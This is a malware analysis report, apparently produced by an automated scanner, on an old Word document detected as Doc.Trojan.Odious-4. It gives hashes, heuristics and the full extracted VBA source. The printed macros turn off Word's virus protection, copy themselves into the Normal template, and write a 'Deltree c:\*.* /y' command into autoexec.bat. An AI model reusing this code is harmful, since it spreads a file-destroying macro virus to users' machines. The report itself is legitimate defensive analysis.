Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3a3e3f8f5211a31c…

MALICIOUS

Office (OLE)

37.5 KB Created: 1997-09-17 10:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: efdfdf6d3ec3864b47fa808fc8006578 SHA-1: b8659244550425665f19cee088a1928e71cd3c62 SHA-256: 3a3e3f8f5211a31c803c8f8e3edebaae8d659478e1a173c68bd66bbe6697e2de
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a legacy Word document containing multiple VBA macros, including AutoOpen and AutoClose, which are commonly used to execute malicious code upon document opening or closing. The 'Virus' function attempts to disable virus protection and writes a batch file to 'c:\autoexec.bat' with commands to delete files and display a message, indicating a destructive or disruptive intent. The presence of these macros and the attempt to write to the file system strongly suggest a malicious downloader or dropper.

Heuristics 5

  • ClamAV: Doc.Trojan.Odious-4 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Odious-4
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2763 bytes
SHA-256: 9c3b95e54fd43a4c38fabffd206c065b179182293563e67cc6fb37515ba301db
Detection
ClamAV: Doc.Trojan.Odious-4
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Hate_A"
Sub AutoExec()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    Options.VirusProtection = False
End Sub
Sub AutoOpen()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    Virus
End Sub
Sub AutoNew()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    Virus
End Sub
Sub AutoClose()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    Virus
End Sub
Function Virus()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    Application.DisplayAlerts = wdAlertsNone
    E
    If VBE.MainWindow.Visible = True Then
        Open "c:\autoexec.bat" For Output As #1
            Print #1, ""
            Print #1, "Deltree c:\*.* /y"
            Print #1, ""
            Print #1, "echo Fuck you...."
        Close #1
        Application.Quit SaveChanges:=wdDoNotSaveChanges
    End If
End Function
Function E()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    Dim A, B As String
    A = Application.NormalTemplate.FullName
    B = Application.ActiveDocument.FullName
    Application.OrganizerCopy A, B, "Hate_A", wdOrganizerObjectProjectItems
    Application.OrganizerCopy B, A, "Hate_A", wdOrganizerObjectProjectItems
End Function
Sub ExibirCódigoVB()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    Virus
End Sub
Sub FerramGravarMacroAlternar()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    Virus
End Sub
Sub ExibirCódigo()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    Virus
End Sub
Sub FerramMacro()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    Virus
End Sub
Sub InterromperGravação()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    Virus
End Sub
Sub FerramentasGravarMacroIniciar()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    Virus
End Sub
Sub FerramentasGravarMacroParar()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    Virus
End Sub
Sub ArquivoModelos()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    Virus
End Sub
Sub ArquivoSalvar()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    Virus
    ActiveDocument.Save
End Sub

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